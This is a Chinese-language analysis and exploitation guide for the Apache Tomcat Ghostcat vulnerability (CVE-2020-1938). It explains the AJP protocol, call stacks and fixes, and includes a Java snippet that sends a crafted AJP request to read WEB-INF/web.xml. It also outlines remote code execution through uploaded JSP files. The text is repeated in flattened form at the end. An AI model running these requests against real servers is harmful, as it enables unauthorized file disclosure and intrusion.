Apache AJP 协议 CVE-2020-1938 漏洞分析
字数 1608 2025-08-18 11:39:22

Apache AJP协议CVE-2020-1938漏洞分析与利用指南

漏洞概述

CVE-2020-1938(又称Ghostcat漏洞)是Apache Tomcat服务器中AJP协议的一个严重安全漏洞,允许攻击者读取服务器上的任意文件,在特定条件下可实现远程代码执行。该漏洞影响Tomcat 6.x、7.x、8.x和9.x版本。

环境搭建

测试环境准备

  1. 使用Tomcat 8.0.52版本进行测试(默认开启AJP协议)
  2. 配置Tomcat远程调试环境:
# 修改catalina.sh文件
if [ -z "$JPDA_ADDRESS" ]; then
    JPDA_ADDRESS="localhost:5005"
fi

# 以调试模式启动Tomcat
sh catalina.sh jpda start
  1. 在IDE(如IntelliJ IDEA)中导入Tomcat的lib目录下所有jar包
  2. 配置远程调试连接到localhost:5005

AJP协议基础

AJP(Apache JServ Protocol)是定向包协议,特点:

  • 功能与HTTP协议相似
  • 使用二进制格式传输文本
  • 基于TCP协议与Servlet容器通信
  • 默认端口8009

漏洞分析工具

AJP客户端实现

需要实现AJP客户端来构造恶意请求,以下是关键组件:

  1. TesterAjpMessage类 - 扩展Tomcat的AjpMessage类,提供更方便的字符串和头操作
  2. SimpleAjpClient类 - 实现AJP协议的客户端功能

关键代码结构

// 创建AJP转发消息
TesterAjpMessage createForwardMessage(String url, int method) {
    // 设置协议头和方法
    message.appendByte(2);  // 常量值
    message.appendByte(method);  // 方法类型
    message.appendString("http");  // 协议
    message.appendString(url);  // URL路径
    // 设置其他属性...
}

// 添加特殊属性
forwardMessage.addAttribute(RequestDispatcher.INCLUDE_REQUEST_URI, "1");
forwardMessage.addAttribute(RequestDispatcher.INCLUDE_PATH_INFO, file);
forwardMessage.addAttribute(RequestDispatcher.INCLUDE_SERVLET_PATH, "");

漏洞利用原理

文件读取利用

  1. 通过构造特殊的AJP请求,设置以下属性:

    • javax.servlet.include.request_uri
    • javax.servlet.include.path_info
    • javax.servlet.include.servlet_path
  2. 请求处理流程:

    • AbstractAjpProcessor.process()接收请求
    • prepareRequest()方法处理请求属性
    • 请求被交给CoyoteAdapter处理
    • 最终由JspServlet或DefaultServlet处理
  3. 关键限制:

    • 路径中不能包含"../"(通过RequestUtil.normalize检测)
    • 只能读取Web应用目录下的文件(如/WEB-INF/)

远程代码执行利用

在具备文件上传能力的情况下:

  1. 上传恶意JSP文件
  2. 通过AJP协议请求该JSP文件
  3. Tomcat会执行JSP文件中的代码
  4. 或者使用JSP的include指令包含恶意文件

漏洞利用步骤

  1. 构造恶意AJP请求:
SimpleAjpClient ac = new SimpleAjpClient();
ac.connect("localhost", 8009);

TesterAjpMessage forwardMessage = ac.createForwardMessage("/aaa.jsp");
forwardMessage.addAttribute(RequestDispatcher.INCLUDE_REQUEST_URI, "1");
forwardMessage.addAttribute(RequestDispatcher.INCLUDE_PATH_INFO, "/WEB-INF/web.xml");
forwardMessage.addAttribute(RequestDispatcher.INCLUDE_SERVLET_PATH, "");
forwardMessage.end();

ac.sendMessage(forwardMessage);
  1. 读取服务器响应获取文件内容

调用栈分析

JspServlet路径调用栈

AbstractAjpProcessor.process()
AbstractAjpProcessor.prepareRequest()
CoyoteAdapter.service()
HttpServlet.service()
JspServlet.service()
JspServletWrapper.service()
JspRuntimeLibrary.include()
JspRuntimeLibrary.handleIncludeException()

DefaultServlet路径调用栈

AbstractAjpProcessor.process()
AbstractAjpProcessor.prepareRequest()
CoyoteAdapter.service()
HttpServlet.service()
DefaultServlet.doGet()
DefaultServlet.serveResource()

修复建议

  1. 临时解决方案

    • 关闭AJP协议(注释掉server.xml中的AJP Connector配置)
    • 配置AJP连接器的secretRequired和secret属性
  2. 永久解决方案

    • 升级到以下安全版本:
      • Tomcat 7.x → 7.0.100+
      • Tomcat 8.x → 8.5.51+
      • Tomcat 9.x → 9.0.31+
  3. 网络层防护

    • 限制AJP端口(8009)的访问,只允许可信IP连接

技术细节补充

  1. AJP协议消息结构:

    • 前4字节:魔术字(0x1234)和消息长度
    • 消息体:包含请求方法和属性
  2. 漏洞触发关键点:

    • 通过INCLUDE属性绕过路径安全检查
    • 利用Servlet容器对AJP请求的特殊处理
  3. 文件读取限制:

    • 只能读取Web应用目录下的文件
    • 不能跨目录读取(如../../../etc/passwd)

参考资源

  1. 官方安全公告:Apache Tomcat官方网站
  2. CVE详细描述:https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-1938
  3. 漏洞验证工具:GitHub上的各种PoC实现

总结

CVE-2020-1938漏洞通过Tomcat的AJP协议实现文件读取和潜在RCE,危害严重。管理员应及时评估风险并采取修复措施,开发者应避免在生产环境中开启不必要的AJP服务。

Apache AJP协议CVE-2020-1938漏洞分析与利用指南 漏洞概述 CVE-2020-1938(又称Ghostcat漏洞)是Apache Tomcat服务器中AJP协议的一个严重安全漏洞,允许攻击者读取服务器上的任意文件,在特定条件下可实现远程代码执行。该漏洞影响Tomcat 6.x、7.x、8.x和9.x版本。 环境搭建 测试环境准备 使用Tomcat 8.0.52版本进行测试(默认开启AJP协议) 配置Tomcat远程调试环境: 在IDE(如IntelliJ IDEA)中导入Tomcat的lib目录下所有jar包 配置远程调试连接到localhost:5005 AJP协议基础 AJP(Apache JServ Protocol)是定向包协议,特点: 功能与HTTP协议相似 使用二进制格式传输文本 基于TCP协议与Servlet容器通信 默认端口8009 漏洞分析工具 AJP客户端实现 需要实现AJP客户端来构造恶意请求,以下是关键组件: TesterAjpMessage类 - 扩展Tomcat的AjpMessage类,提供更方便的字符串和头操作 SimpleAjpClient类 - 实现AJP协议的客户端功能 关键代码结构 漏洞利用原理 文件读取利用 通过构造特殊的AJP请求,设置以下属性: javax.servlet.include.request_uri javax.servlet.include.path_info javax.servlet.include.servlet_path 请求处理流程: AbstractAjpProcessor.process()接收请求 prepareRequest()方法处理请求属性 请求被交给CoyoteAdapter处理 最终由JspServlet或DefaultServlet处理 关键限制: 路径中不能包含"../"(通过RequestUtil.normalize检测) 只能读取Web应用目录下的文件(如/WEB-INF/) 远程代码执行利用 在具备文件上传能力的情况下: 上传恶意JSP文件 通过AJP协议请求该JSP文件 Tomcat会执行JSP文件中的代码 或者使用JSP的include指令包含恶意文件 漏洞利用步骤 构造恶意AJP请求: 读取服务器响应获取文件内容 调用栈分析 JspServlet路径调用栈 DefaultServlet路径调用栈 修复建议 临时解决方案 : 关闭AJP协议(注释掉server.xml中的AJP Connector配置) 配置AJP连接器的secretRequired和secret属性 永久解决方案 : 升级到以下安全版本: Tomcat 7.x → 7.0.100+ Tomcat 8.x → 8.5.51+ Tomcat 9.x → 9.0.31+ 网络层防护 : 限制AJP端口(8009)的访问,只允许可信IP连接 技术细节补充 AJP协议消息结构: 前4字节:魔术字(0x1234)和消息长度 消息体:包含请求方法和属性 漏洞触发关键点: 通过INCLUDE属性绕过路径安全检查 利用Servlet容器对AJP请求的特殊处理 文件读取限制: 只能读取Web应用目录下的文件 不能跨目录读取(如../../../etc/passwd) 参考资源 官方安全公告:Apache Tomcat官方网站 CVE详细描述:https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-1938 漏洞验证工具:GitHub上的各种PoC实现 总结 CVE-2020-1938漏洞通过Tomcat的AJP协议实现文件读取和潜在RCE,危害严重。管理员应及时评估风险并采取修复措施,开发者应避免在生产环境中开启不必要的AJP服务。